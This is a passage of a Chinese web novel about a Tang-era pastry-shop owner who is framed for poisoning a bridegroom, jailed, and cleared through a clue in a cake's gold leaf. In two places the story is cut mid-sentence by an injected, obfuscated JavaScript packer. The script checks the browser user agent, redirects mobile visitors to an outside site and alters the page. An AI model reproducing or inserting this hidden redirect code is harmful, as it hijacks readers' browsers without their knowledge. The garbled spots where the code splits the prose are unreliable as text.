“九为数之极,不如取‘长长久久’之意。定九种点心。” “其一,酥皮裹红豆沙,印牡丹花纹,取琴瑟之好。” “其二,糯米裹莲蓉,滚染胭脂红曲粉,唤并蒂同心。” “其三,白酥皮裹枣泥,顶缀金箔,曰金玉良缘。” “其四,双色糯米团子,红豆沙与莲蓉相缠,喻鸾凤和鸣。” “其五,糯米皮裹新鲜果粒,撒糖霜,似瑞雪含珠。” “其六,百合与莲子蒸糕,切菱花形,谓百年好合。” “其七,核桃芝麻酥糖,浇熬化的饴糖包裹,塑成小小合欢果形。” “其八,奶香酥饼,夹薄薄的蜜渍桂花冻,唤蟾宫折桂。” “其九,酥皮层层叠起,内裹流心蛋黄,名花好月圆。” 裴清梧一口气说完,茜桃听得目眩神驰,连忙记下。 接下来几日,酥山小集的后厨更是忙碌。 雕花枣木模子压出细致的牡丹纹,糯米皮染就的胭脂色鲜艳欲滴,金箔小心翼翼地贴上,流心蛋黄蒸得恰到好处,颤巍巍凝在金黄的酥皮里…… 裴清梧亲自把关,务求精工细作。 几日后,那订点心的妇人果然依约而至。 掀开朱漆食盒的盖子,九色点心光华灿烂:大红牡丹娇艳,金玉团子富贵,双色团子和谐,流心蛋黄酥圆润如月…… 妇人看得目不转睛,喜得连连赞叹:“裴娘子好巧的心思!这般精致喜气的点心,老婆子活了大半辈子还是头一遭见,我家新妇看了定欢喜,宴客也体面极了!多谢娘子费心!” 爽快地付清余款后,捧着食盒欢天喜地而去。 转眼到了傍晚,暮鼓初响,坊门将闭,街市行人寥落。 酥山小集刚下钥板,顾恒正收拢门口幌子,忽听不远处一阵喧哗哭嚎,由远及近。 只见白日那喜气洋洋的妇人,此刻披头散发,涕泪横流地被两个粗壮汉子架着,踉跄奔来。 其后,四个家仆模样的人抬着一扇门板,板上赫然躺着一个人,以白布覆盖,只露出一双穿着簇新皂靴的脚。 再后面跟着十来个手持棍棒的健仆,气势汹汹。 “黑心的贼妇!还我儿命来!”那妇人扑到店门口,捶胸顿足,声音凄厉得变了调:“我儿吃了你家的点心,好好一个新郎官,刚拜完堂,就、就吐血倒下了啊!天杀的!你们赔我儿性命!” 门板“哐当”一声重重砸在地上,领头模样的壮汉猛地揭开尸体上的白布一角,露出死者青紫肿胀的脸,嘴唇乌黑,死状可怖。 他指着尸体,对着被惊动而出来的裴清梧等人厉声咆哮:“看清楚了!这是我主家少爷!今日刚用了你家送去的点心,未及洞房便毒发身亡!证据确凿!” “剩下的点心还在此!定是你这铺子用了不洁之物,或是存心害命!今日若不给我家主母一个交代,砸了你这黑店,抓你去见官偿命!” 12. 牢狱之灾 哭嚎声、叫骂声,及棍棒顿地的砰砰作响,瞬间撕裂了黄昏的宁静,引得附近几家尚未完全闭户的邻居也探出头来,惊慌张望,细碎的议论声,如滚沸的水泡一般,在街头巷尾炸开。 裴清梧面色瞬间苍白如纸,指尖冰凉,另一边,茜桃早已吓得面无人色,紧紧攥着她的衣袖,如同寻求庇护的小兔子一般,怯生生地往她身边靠。 眼见那汉子叫骂着,要伸手来抓裴清梧过去,顾恒忙上前一步,护在她身前,生生挨了一下,也只闷哼一声,目光如炬地扫视着来人。 “诸位,还请冷静……”裴清梧声音微颤,听得出是在极力保持着镇定,毕竟,这次与上次不同,是真的闹出人命了:“人命关天,非比寻常,若真是奴家铺中点心所致,自当领罪受罚,绝无二话,然事出蹊跷,岂能凭一面之词,便定是非黑白?宴席上所用菜品不少,如何就断定,一定是我家点心有毒?敢请报官,由官府勘验查问,待水落石出,方为公道!” 那妇人闻言,止了哭泣声,怒道:“你还敢提报官?谁不知道,你这匾额就是赵府君所写,我也是为了这么个名号,才找上门来,即便报了官,赵府君也只会护着你!” 裴清梧蹙眉:“夫人慎言,赵府君为人,秦州城的百姓都是有目共睹,端的清正廉洁,秉公大义,岂是你能在这里红口白牙乱攀扯的?何况如今的情形,不去报官,难不成你们还想动用私刑,在这众目睽睽之下杀了我不成?国朝律法,怎能如此践踏?!” 茜桃也反应了过来,辩道:“眼下事情只由着你们自己胡说,还拦着不叫我们东家报官,难不成,你们心里有鬼?” “胡扯!你没有娘老子教?就这样攀扯,好!不就是见官吗?见就见,今日,我非得还我儿一个公道,哪怕这里不管,我拼却这条命不要,也要到长安都中,圣人面前,告个御状!”那妇人勃然大怒,冲着着地上啐了一口。 银岚一直在旁边冷眼瞧着,趁着机会,附到裴清梧耳边:“东家,这般心肠和反应,恐怕不像是自己做出,而后反咬我们一口的,莫不是,被人陷害了,以此来对付我们?” 裴清梧微微颔首:“很像。” 旁人倒没什么,一听这话,茜桃先红了眼眶,嗫嚅道:“定是因东家为我赎身,带我走时,得罪了许妈妈和崔公子,他们寻到东家报复了……都是我不好,拖累了东家。” 裴清梧还没来得及说什么,只见坊正连同数名身着皂衣的、腰挎横刀的不良①匆匆赶到,领头者是一位面色沉肃的不良帅。 官差已至,场面立刻被控制住,细细听罢原委后,不良帅下令道:“来人,速传仵作验看尸身,另将食盒中剩余点心,与此间后厨所有食材用具,一并封存,带回州府查验,相关人等,皆随我回衙问话。” 月影遍地,桦树婆娑,秦州府衙灯火通明。 衙门的仵作是个不惑之年,须发微白的中年男子,姓杨,名长泽,办事仔细妥帖,本已回家睡下,接了通知,马不停蹄赶回来,水都没来得及喝一口,就去了停尸的地方,查验过后,神色极为凝重,朝着赵珏叉手道:“启禀府君,死者何六郎,口唇乌黑,指甲青紫,七窍有细微血迹,腹内有灼伤,显系信石②中毒之兆。” 此言一出,死者家属更是悲愤欲狂,妇人直哭倒在地,指着裴清梧大骂“蛇蝎毒妇”,若不是衙役们拦着,只怕登时就要扑上来厮打。 赵府君不动声色地看了裴清梧一眼,后者正垂眸深思,暗自攥紧了拳头。 “再把点心和后厨取样带上来,一并验过!” 府衙自由精通毒理的吏员,闻言上前验看,先是拿了银针验过点心,见针身发黑,眉头微蹙,又小心翼翼地揪下来一点,往外间院子地上一扔,不多时便有雀儿飞过,啄了两口之后,双腿一蹬,翻着白花花的肚皮不动了。 以此方法,他将九样点心都验过,但只最初验的“金玉良缘”,含了信石之毒。 堂上一片死寂,裴清梧难以置信地望着地上鸟雀尸体,心直直沉如腹中,仿佛忘记了怎么跳动。 怎,怎么可能呢…… “裴氏,点心出自你手,毒物现于其中,你可还有什么话要说?”赵珏声音冷冽。 霎时间,所有人的目光都聚焦在堂下贵族的裴清梧身上,茜桃和顾恒的心更是提到了嗓子眼,满面忧急。 “使君明鉴!使君真乃青天大老爷,我儿枉死,还请使君为我儿做主!”那妇人哭嚎着拜倒在地,一个劲地磕头,额头触在青砖地上,发出砰砰砰的声音,在抬头时而且也是一片血红,显是用劲很大。 裴清梧脑子转的飞快,她想起了茜桃的话,一下子便猜到了,策划这件事情的人到底是谁? 旁人总有一个误解,就是位高权重之人,整顿人如同翻手掌一般容易,谈笑间便会将一个人摁到谷底,家破人亡,妻离子散。 可事实是,他们也必须得借助一点程序正义,用看似天衣无缝的构陷达成目的,如《水浒传》中高太尉陷害林冲,又如《红楼梦》中贾赦为了几把扇子,设计坑的石呆子赔上性命。 那么今日自己的遭遇,幕后黑手也便是那位崔公子,以及崔公子的远亲陇右节度使。 想到这里,裴清梧渐渐不慌乱了。 她上前叩首,声音清晰而镇定:“府君在上,妾身裴清梧,有冤情陈诉,此案疑点重重,妾绝非下毒之人,此事另有隐情,还请使君容妾身自辩。” “讲!”赵珏抬手。 “其一,妾身这么做,动机何在?妾身于安业坊开此点心铺子,全赖街坊邻里帮衬,诚信经营,方得薄名,那定点心的夫人,妾身素不相识,无冤无仇,他家郎君新婚大喜,托妾身制作糕点,妾身便精心制作了九样糕点,博长长久久的彩头,唯愿其喜宴圆满,宾客尽欢,此乃锦上添花之事,妾身何来动机自毁根基,行此丧尽天良之举?于情于,截然不通。” 堂上众人闻言,窃窃私语。 确实,一个生意正隆的店家,无缘无故毒杀陌生主顾,实在是匪夷所思。 “其二,妾身制售点心,食材皆采买自西市有行贴③,信誉卓著之商行,每批进货皆有账目可查,亦有商行市券④为凭,所用的米面、饴糖、豆沙、莲子、百合、果脯、干果,乃至胭脂红曲粉,金箔等,绝非寻常可得信石之物,妾身可即刻呈上所有进货凭据,并请传唤供货商行掌柜,坊正及左右邻里团保作证,妾身绝无可能,也不曾购入信石。” 不良帅便立刻派人去取账本凭证,并传唤相关人员。 “其三,也是最要紧之处,点心是何时何处被下的毒,府君请明鉴,妾身制作点心,后厨帮佣连同妾身与婢女,总共不过五人,制作之时,彼此协作,目光交错,如何能在众目睽睽之下,精准地将信石投入某一特定点心之中而不被察觉?即便能,九样点心各有不同,为何偏偏只有‘金玉良缘’有毒?难道下毒之人的未卜先知,知晓新郎定会挑中此样享用?” 裴清梧目光灼灼,条理清晰,最终抛出关键证据:“如何果信石是在点心制成后,交付前投入,最大的可能便是撒在点心表面,然而‘金玉良缘’顶层覆盖金箔,光滑如镜,若有粉末洒于其上,必然极为显眼,亦只会在金箔之上或滚落一旁,岂能融入尽数融入馅心,而验毒结果却在馅心之中,这意味着下毒之人,必定是掀开了金箔,将毒粉仔细撒入或混入内部,再小心复原,如此反复精细之举,在我人来人往的后厨之内悄然进行而不被任何人察觉,绝无可能!” “有什么不可能?!”那妇人朝着她咆哮:“你是铺子的东家,他们都是指着你拿月钱的,你要做什么,难不成他们还会大声嚷嚷出来?!” 裴清梧道:“夫人骤经丧子之痛,悲痛欲绝,清梧理解,只是清梧的清白,也极为重要……再者从点心送过去,到案发,才过去了几个时辰?若我家真有信石,那根本来不及处理,何况我家的炊具,不也什么都没检查出来吗?” 不良帅道:“的确,酥山小集的厨房取样,一切正常,并没含毒。” 还未反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不良帅亦上前一步:“府君,裴氏所言,虽有疑点,然眼下证据链已颇为完整,新郎确系食用酥山小集‘金玉良缘’点心后毒发身亡,仵作验明为信石之毒,该点心经银针法与活物试毒,毒性确凿,而裴氏铺中虽未搜出信石,但在后院发现食毒点心而死的犬只及点心残块,其毒性与新郎所中之毒一致,点心亦为‘金玉良缘’……此三点环环相扣,指向裴氏或其铺中之人投毒嫌疑重大。至于动机,或因生意纠葛,或因私怨,尚需详查,然不足以推翻现有物证。” 气氛凝重如铁,赵珏端坐堂上,心绪纷乱。 他自然不信裴清梧会愚蠢到自绝生路,然而,众目睽睽之下,人证物证俱全,若仅凭裴清梧的推测和疑点而不采取强制措施,不仅难以服众,更会给对方留下更大把柄,指责他包庇纵容。 “裴氏。”思及至此,赵珏道:“你所辩称之疑点,本官已知,然人命关天,证据当前,依照律法,,你有重大嫌疑,必须收押待审,此非定罪,乃为彻查之必要程序。” 说着,他目光扫向不良帅:“将裴清梧暂行收监,严加看管,非本官之令,任何人不得探视!酥山小集即刻查封,铺内所有人员皆带回衙门,分别详细录供,不许串通!杨仵作,再仔细查验新郎尸身、毒点心及死犬,务必找出更多蛛丝马迹,再速派精干人手,查访当日喜宴所有菜品来源、所经手人,以及近日所有进出酥山小集的生面孔,另着人严密监视死者家属,以防不测。” “府君!”茜桃闻言,失声惊呼,泪水夺眶而出,想要扑上前却被衙役拦住。 顾恒也是目眦欲裂,双拳紧握,青筋暴起,却被两个不良人死死按住肩膀。 裴清梧面色惨白如雪,身体微微晃了一下,随即强自站稳。 她知晓赵珏的无奈,也明白对方这一系列环环相扣的构陷,暂时将自己推入了绝境,只能深深吸了一口气,压下翻涌的情绪对着赵珏的方向,缓缓下拜:“妾身遵命,只求府君明察秋毫,还妾身一个清白。” “妾身相信律法,亦相信府君。” “带下去。” 两名皂衣衙役上前,一左一右扶起裴清梧。 说是“扶”,实则有挟制之意,在茜桃悲切的哭喊和顾恒压抑的低吼声中,裴清梧被带离了府衙大堂。 13. 重归清白 夜色像倒扣下来的沉锅,月光都被厚重的云层遮蔽,只透下几丝惨淡的微光。 裴清梧被推搡着,在尘土和霉味中,穿过阴森的长廊,沉重的牢门在身后“哐当”一声关上,铁链哗啦作响。 牢房狭窄而阴暗,只有高处一扇小小的气窗透进一点空气,那也是极浑浊的,墙壁冰冷潮湿,地上铺着薄薄一层发霉的稻草,裴清梧靠着冰冷的石墙滑坐下来,环抱住膝盖,将脸深深埋入臂弯。 外界的喧嚣都被隔绝了,只剩下死一般的寂静。 “崔家……节度使……” 她无声地咀嚼着这两个名字,唇边泛起苦涩的弧度。 对方的手段,远比她预想的更狠绝,不仅利用了人命,更连一条无辜的野狗也成了牺牲品,彻底坐实了她“意图销毁证据”的罪名,堵住了她的辩驳。 好一个天衣无缝的栽赃。 她强迫自己冷静下来,回忆每一个细节。 银岚说的没错,那妇人的悲愤不似作伪,而点心,金箔包裹的点心,毒在馅心而非表面,只有提前混入才有可能。 后厨,只有茜桃和银岚,都是可信的,至于顾恒,更不必说。 那么,是谁?或者是怎么被人钻了空子? 还有后院那条狗…… 线索丝丝缕缕,在她的脑海中勾勒成形,原本是杂乱的一团,但渐渐地,她似乎也寻摸出了一点关窍。 犹如一位手巧的绣娘,拈针穿线,布料上开始显出花形来。 还有一个关键! 裴清梧猛地抬头,是那半块点心上的金箔! 她做“金玉良缘”时,为了美观牢固,金箔边缘会用极细的蜂蜜水黏合,若是仓促间拾起丢弃的点心喂狗,金箔边缘必然松散甚至脱落。 但方才堂上所见,狗嘴里的那半块点心,金箔似乎是异常完好? 思及至此,她攥紧了拳,指甲深深陷入掌心。 这点微小的异常,在铁证如山的局面下,显得如此微不足道。 赵珏将她收监,既是程序所需,恐怕也是要将她暂时保护起来,避开愤怒的死者家属和外界的风暴中心,好让他有时间暗中操作。 只是,终究是牢狱之灾,这污名若不洗去,她裴清梧的清誉和心血铺子,要被毁于一旦了。 “东家……”牢门外,传来一声压低了的轻唤,是顾恒的声音,他不知用了什么方法,竟能被狱卒放进来探望。 裴清梧立刻起身,扑到牢门栅栏前。 “东家受苦了……”顾恒的声音急切而担忧,他也几乎是扑到栅栏上,目光扫过裴清梧,觉得她看着还好的时候,才松了口气。 “银岚姐和茜桃姐都在录口供,都无碍的,赵府君封锁了铺子,但我们几个的口供都咬死了绝无下毒可能,也说了那死狗点心绝不可能是我们扔的,府君似乎暗中叮嘱了他们仔细查访。” 闻言,裴清梧点了点头,而后压低声音,语速飞快:“阿恒,你听我说,有个细节至关重要——我们‘金玉良缘’的金箔边缘,为了牢固美观,会用蜂蜜水轻轻黏合,若点心是丢弃后被狗偶然叼食,金箔经摔碰,边缘必然松散或卷翘,但堂上那狗嘴里的半块点心,我瞥见上面残留的金箔片,边缘似乎是整齐完好的。” 顾恒倒吸一口冷气:“东家的意思是……” “这绝不可能是偶然叼食!”裴清梧道:“只能说明,那点心是被人精心处理过,甚至是特意完整地喂给狗的!就是为了坐实所谓‘丢弃毒证被狗误食’的假象,你设法将这点告知赵府君,或者他信任的人!” “是,我记下了!这就想办法!”顾恒的声音透着振奋:“东家千万保重,银岚姐已经备了柚子叶,预备东家出来后祛晦气用的。” 说罢,他从斗篷下边,取出一个漆木食盒,显是一直被揣在怀里的:“银岚姐说,恐牢狱中吃食不好,给做了鱼片粥和荞麦烧饼,东家先凑合吃,明日我再想办法为东家送别的。” 接过来的时候,食盒犹触手生温。 就在裴清梧想关怀几句有没有被烫到,已经有狱卒粗嘎的呼唤声传来:“时间够久了,该回去了!” 顾恒也只来得及留下一句:“东家照顾好自己,”便一步三回头地留恋离去。 听着脚步声渐渐消失,裴清梧重新背靠着墙壁滑坐在地,月光艰难地穿透云层和高窗,在她苍白的脸上投下微弱的光斑。 前路艰难,身陷囹圄,但关键的破绽已经抓住。 她必须活下去,必须洗清冤屈。 尽管此时没什么胃口,她还是打开了食盒,从里头取出鱼片粥和荞麦烧饼来。 浓稠莹白的米粥微漾着热气,几片柔嫩的鱼片显然地浮在米粒间,边缘微微卷曲,热气裹挟着米香和鱼香,袅袅升起,撞开了牢狱中令人不适的味道,让她不自觉深吸了一口气,喉头微动。 旁的两块荞麦烧饼,也是金黄微焦,烘烤过的麦香扑面而来,饼面上撒了点点芝麻,透着诱人的油润光泽,掰开来蓬松柔软,一看便是老面精心发酵。 食物的暖香,如同黑暗中悄然亮起的一豆灯火,勾得裴清梧腹中一阵轻鸣,她拿起烧饼,一口咬下,外皮的焦酥与内里的绵软,在齿间碰撞间,使麦香盈满口腔,再舀一勺鱼片粥送入口中,米是鲜甜的,鱼是嫩滑的,暖意从胃部蔓延开来,驱散掉了寒冷。 读高中时,因为学业压力、生物学父亲不给抚养费、同父异母的弟弟找事等种种接踵而来,裴清梧罹患了抑郁症,险些到休学住院的地步,好在最后还是挺过来了。 记得最后一次从心理门诊出来,母亲带她去吃牛肉汤面,专门为她加了一份卤牛肉,薄如蝉翼的牛肉片在汤里泡透了,刚放进嘴里就融化。 “乖乖,不管什么时候,只要人能吃得下饭,一切都会好起来的。” 是的,关关难过关关过,她还能吃得下饭,能撑着自己活,什么都会好的。 赵叙带着仆从进来的时候,看到的,就是裴清梧把荞麦烧饼掰开,泡在鱼片粥里大快朵颐的场景,失笑道:“赵某还以为裴东家在此地受苦,急忙赶来,没想到,裴东家倒是豁达。” 裴清梧抬头,见是他,不以为意地笑了笑:“都这样了,哭天抢地有什么用,还不是得吃饭。” “说的是。”赵叙颔首笑着,从身后仆从手里接过食盒,比顾恒带来的那个精致多了,里头装的也是四样美食,樱桃肉,凤尾鱼翅,葱烧海参,水晶龙凤糕,并一碗冰糖燕窝羹:“原担忧裴东家吃不好,没想到,东家铺子里的小护卫这般机灵,想办法给送了吃食来。” 看着食盒里的珍馐,裴清梧郁闷地想,自己怎么就没多长一个胃呢。 “多谢赵校尉,只是奴家实在吃不下了……” “是啊,真不巧。”赵叙遗憾道:“既然吃食送到了,赵某就再做些别的吧。” 说着,他挥了挥手,随他一起来的仆从便忙碌了起来,有拿出熏香焚上的,清甜沁人的香味霎时盈满鼻腔,有帮裴清梧收拾的,勉强安身的稻草被扫走,换成简易的床铺,压了一床棉被褥的,还有往小桌子上放点心的,酪樱桃、梅花酥、透花糍……还斟了一壶紫苏饮子。 裴清梧看得目瞪口呆,不承想,赵叙又唤了个小丫头来:“红豆,这些日子,你就在这里伺候东家,务必要仔细上心。” 那小丫头恭敬道:“是,谨遵郎君吩咐。” “哎,不是……”裴清梧结巴道:“校尉,这不符合规矩吧……” 哪有人坐牢还有丫鬟伺候的? “是吗?”赵叙轻笑:“是不合规矩,但不巧,我阿爷是秦州刺史。” 裴清梧嗫嚅了两下嘴唇,无力地干笑了一声。 “东家就暂且安心待着,有道是清者自清,我阿爷自会查明一切,还东家清白,赵某做这些,也是为酬谢东家那日的救命之恩,只是不知东家到底得罪了什么人,竟不惜麻烦,绕这么大一个圈子,也要设此局,陷害东家。” 裴清梧闻言,舌尖顶了顶脸颊,到底还是没说什么:“有利益的地方,就有纷争,说来如犬争食,人也是一样。” 她是对赵使君有好感,觉得他是一个刚正不阿的好官,会杖责刘氏母子,会许她自立女户,还给她写了匾额,于她襄助实多,秦州城里,也多的是敬重爱戴他的百姓,可她也拿不准,赵叙可不可信,以及赵叙会不会帮她。 “裴东家,你是聪明人,赵某不想与你弯弯绕兜圈子,与其让你家小护卫想办法给阿爷递消息,不如直接告诉某,或许东家信不过,但是,除了某,东家又能找到谁呢?” 他言之有理,更何况,对付节度使和那所谓“崔公子”,也只能是靠他了,不然,裴清梧上哪儿去认识另一个显贵去? 听罢原委后,赵叙蹙眉:“竟是如此,东家放心,某自当尽力。” 说罢,他带着线索离去,直奔府衙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230901|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因着赵叙吩咐,又有红豆在,裴清梧虽身处囹圄,日子也好过了许多,只有高窗外透进的惨淡天光和狱卒偶尔走过的脚步声,提醒着她现实的处境。 时间在焦灼与期盼中缓缓流逝。 不知过了多久,传来铁链与钥匙碰撞的哗啦声传来,由远及近。 牢门被打开,赵珏立在她面前,一身常服,神情肃穆,身后跟着两名皂吏,其中一人正是当时值守公堂,且呈上证物的那位。 “裴东家,委屈你了,案子已查清了。” 裴清梧的心脏猛地一缩,立刻站起身来,屏住了呼吸。 赵珏没有卖关子,直接切入正题:“突破口正如你所言,在那块点心的金箔上,经仵作与证物司仔细查验,狗口中残留的点心金箔边缘异常完整牢固,绝非随意捡拾或摔碰所致,显然是有人刻意保持其原状喂食,以伪造‘拾遗误食’的假象。” 皂吏在一旁补充道:“小人奉使君之命复验证物时,特意刮取金箔边缘少许,确于细微处发现蜂蜜残留,与裴东家铺中伙计所述制作工艺相符,此点,彻底否决了点心是被人丢弃后偶然被狗叼食的可能。” 赵珏点点头,看向裴清梧的目光带着赞许:“此细节微乎其微,若非你心细如发,几被忽略,本府据此重新梳理,重点盘问了死者家中所有接触过点心之人,最终,问到了新郎阿爷纪华。” “起初他咬死不认,然而,金箔完好无损、必是人为喂食的证据摆在他面前,并点明若非他这等亲近之人,绝无可能在旁人不知情的情况下拿到点心去喂狗时,他的防线终于崩溃。” 牢房内的空气仿佛凝固了,裴清梧攥紧了拳头,指甲深深嵌入掌心,等待着最后的答案。 “他招供了,道是三年前,他行走在外时,结识一女子,养在外头,为他诞下一儿一女,原配与儿子在他心中分量渐轻。恰在此时,一位管事模样的人,找上门来,给了他二十两银子,要他趁儿子迎娶新妇时,将剧毒药物混入酥山小集售出的点心馅料中,并许诺事成之后,另有重赏。” 裴清梧倒吸一口凉气,尽管在听到凶手可能是新郎阿爷后,心中有了猜测,但真相的残酷性,仍然让她感到窒息。 “他……为了二十两银子,和一个口头承诺,就毒杀了自己的亲子?嫁祸于我?” 赵珏点头,语气沉重:“正是,信石便是那管事所给,待到事发,他只需引导那野狗去吃点心,便可栽赃于你,以为是天衣无缝,却未曾想到一片小小的金箔,就能揭穿于他。” 真相如同一盆冰冷刺骨的脏水,兜头浇下。 裴清梧半晌说不出话来,脑海里一片混乱,既有沉冤得雪的解脱,更有对凶手纪华的恶心和悲凉。 有了新欢和私生子,再加上二十两银子,亲生父亲竟能如此冷酷地毒杀亲子,再将无辜之人拖入深渊…… “呵……”裴清梧低低地笑了一声:“原来如此,为了新欢,为了旁出的儿女,亲生骨肉便可弃如敝履,竟连野狗都不如了……” 说着,她脑海中不受控制地现代生物学父亲的面孔,结合起来一想,倒也能理解,毕竟,那人宁肯去养和他毫无血缘关系的后妻之女,也不肯给她这个亲生女儿一分抚养费。 原来,太阳底下无新事,这世间某些“父亲”的凉薄,竟如此相似。 裴清梧闭上眼,深深吸了一口气,试图压下心头翻涌的复杂情绪,胃里一阵紧缩,先前吃下的东西仿佛都变成了沉重的石头。 赵珏知道她一时间难以消化,语气缓和了些:“此案人证物证确凿,且纪华已然招供,裴东家,你是清白的,稍后办理文书,即可出狱。铺子也会即刻解封归还于你。” “多谢府君明察秋毫,还奴家清白。”裴清梧勉强一笑,对着赵珏深深一礼。 “不必言谢,此乃本府职责所在。”赵珏摆手:“只是……” 他话锋一转:“此案虽破,背后主使之人却另推了替罪羊,尚未伏法,二十两银子买通一条人命,嫁祸于你,如此轻易便能驱使他人行此恶事,其心可诛,其图非小,裴东家,你日后仍需万分谨慎,此案,恐非终点。” 赵珏的话,如同在刚刚晴朗的天空中又投下了一片巨大的阴云。 “奴家明白。”裴清梧道:“多谢府君提醒。” 赵珏颔首,看着她苍白憔悴却依旧挺直脊梁的身影,眼中闪过一丝欣赏:“好生休息,收拾一下,准备回家吧。” 14. 热闹新年 秦州牢狱门口,顾恒等人一早就知了裴清梧要出狱的消息,守在那里,望眼欲穿。 甫一见她出来,茜桃已是双眼盈泪,不顾犹跟在她身后的狱卒,冲上去扑进她怀中,呜呜地哭,唤了几次东家,却说不出更多的话。 顾恒看着镇定一些,眼里也满是眼泪花子,晶莹剔透地闪烁着,见她笑着安抚茜桃,素手抚摸着后者的头发,觉着茜桃情绪平静了一些,才抬起头来,冲他也笑:“放心,已经没事了。” 自小长在青楼,吃打骂是常事,十三岁那年,老鸨就要逼着顾恒接客,他不愿意,长长的银针便一根一根穿进他的指甲,十指连心,痛得他满地打滚,也憋着不肯流一滴眼泪,却在今日,只见裴清梧柔柔的笑容,便如生啃了一颗酸杏似的,鼻头酸涩,泪珠子止不住地往外冒,眼眶泛着红,强忍着道:“东家受苦了。” “无妨,赵校尉在,也没吃多少苦头,何况不都过去了吗?”裴清梧道:“倒是你们,天寒地冻的,还来接我,好好在家等着便是。” “总要亲眼见东家无恙,我们才放心的。”顾恒拿袖子抹了把泪。 裴清梧无奈地摇了摇头,上前一步,从袖中拿出帕子,细细地替他揩过:“好了,男儿有泪不轻弹,哭成这样像什么?家里一切都好吧?” 她凑过来的时候,晚风送来一股幽香,倏忽钻入他的鼻息,那香极清雅,初闻是沉水香木的温润,另有一丝甘甜,还未等细细辨认,一股清冽的梅花冷韵悄然浮现,是雪后初霁,枝头残留的一点孤芳,其间又隐约缠绕着丁子香的独特微辛,缠绵萦绕,如丝如缕,是不同于以往橘香的陌生。 他当然是明白这香从何而来,毕竟,是他亲眼目睹赵叙送了人进去,他们还打了个照面,后者问了一句:“你就是裴东家的那个小护卫?” 一丝说不清道不明的酸涩猛地蹿上喉头,那香气仿佛化作了无形的束缚,紧紧地勒在他的心尖。 “嗯?怎么了?是家里出事了?”裴清梧不明所以,又问了一句。 顾恒垂下眼,掩去眸中翻涌的苦涩与自卑,只低低了一声:“没有,一切都好的。” 茜桃此时调整好了情绪,过来挽住裴清梧的胳膊:“是,我们没什么事的,使君不曾为难于我们,银岚姐姐早早就备了柚子叶和火盆,就待东家回去,好好地去去晦气。” “好,是该去一去。” 回到小院门口,银岚就在门前候着,她特地换了身石榴红团福喜鹊纹的袄子,喜庆得如同年画娃娃一般,手里攥着一把碧绿的柚子叶,身旁还放了个熊熊燃着的火盆,一见裴清梧回来,当即喜笑盈开地迎上来,行了个万福礼:“东家可算回来了,从这火盆上跨过去,再用这柚子叶扫一扫,就晦气除尽,万事顺意了。” “好,好。”裴清梧笑着任她摆布,提了裙角,从火盆上跨过去。 柚子叶清爽的气息从肩上扫过后,裴清梧的心,仿佛也随着这讨巧的仪式落定,屋子里的灯光是暖黄的,笼罩着她熟悉的陈设,此刻瞧着,却分外喜欢。 正中的矮几早已布置妥当,架了一口陶釜,釜下炭火烧得正旺,咕嘟咕嘟的声音,带着滚热的白气不断翻涌,将浓烈的香气送到每一个角落。 “闻着,可是水盆羊肉?”裴清梧吸了吸鼻子:“真香啊……” “正是呢,牢中阴寒,吃些羊肉正好。”银岚笑道,引着裴清梧坐下。 汤汁呈现出醇厚的乳白色泽,上面漂浮的点点羊油黄金透亮,宛如撒了一层碎金子,切成大块的带皮羊肋排沉浮其间,炖煮得骨肉分离,粉白的羊肉纹理清晰,吸饱了汤汁的精华,几根羊骨筒竖在釜中,脂膏已融入汤底,隐约可见几块党参和黄芪,更衬滋味饱满,鲜香混合着暖意,瞬间勾得腹中馋虫一个劲抬头。 陶釜是主角,围着它琳琅满目地摆开了旁的美食,有刚出炉不久的胡饼,烤得两面金黄焦脆;有新摘的水芹,只用滚水轻焯,拌上陈年的米醋和几滴麻油,碧绿爽脆,清新开胃,正巧解羊肉的肥腴;还有秦州本地特产的豆腐,用草木灰细细腌渍过,再切成厚片,用羊油煎得两面金黄,外皮形成一层脆壳,内里却依旧柔嫩,是为本地名菜,灰培豆腐。 另有两坛三勒浆,是这几年最流行的果酒,以庵摩勒、毗梨勒和诃梨勒三种果实酿制,色泽淡金,酒味清甜微酸,最是解腻助兴。 银岚手脚麻利地盛汤,并为裴清梧挑了块最大最肥美的肋排,又捡了根骨筒:“这羊啊,是小阿恒今日一早就去西市挑的羔羊,骨头都敲开熬了大半日,汤浓肉烂,快尝尝。” 茜桃也忙着给每人分胡饼,热气腾腾的饼子掰开,泡进滚烫雪白的羊汤里,又夹了一大筷子醋芹放在裴清梧的碟中:“东家快吃,这几日在牢里,再怎么也不如在家。” 顾恒则默默地将倒好的三勒浆递给裴清梧,看着她在氤氲的热气中满足地喟叹一声,拿起竹箸,夹起一块羊肉送入口中。 软烂鲜香在舌尖化开,浓郁的汤汁熨帖着肠胃,暖意立刻驱散了身体里最后一丝寒意。 裴清梧的眼睛满足地眯了起来:“嗯……就是这个味!辛苦银岚了,真好吃。” 众人围坐,笑语晏晏。 滚烫的羊肉汤下肚,鲜美的滋味在口中回荡,胡饼的麦香、醋芹的清爽、煎豆腐的焦香和三勒浆的果甜交织在一起。 美食的烟火气与劫后重聚的温情交融,将这小院烘托得暖意融融,彻底洗去了牢狱的阴霾。 银岚甚至将那束柚子叶插在一个小瓶里,放在了桌角。 暖酒入喉,劫后余生的轻松与亲友在侧的温情,让裴清梧连日紧绷的心弦彻底松弛下来。 三勒浆清甜,后劲却足,再加上茜桃和银岚轮番敬酒,喝着喝着,她那白皙的脸颊渐渐染上一层红霞,眼神也蒙上了水润的迷离光泽,话比平日多了些,笑声也愈发清亮。 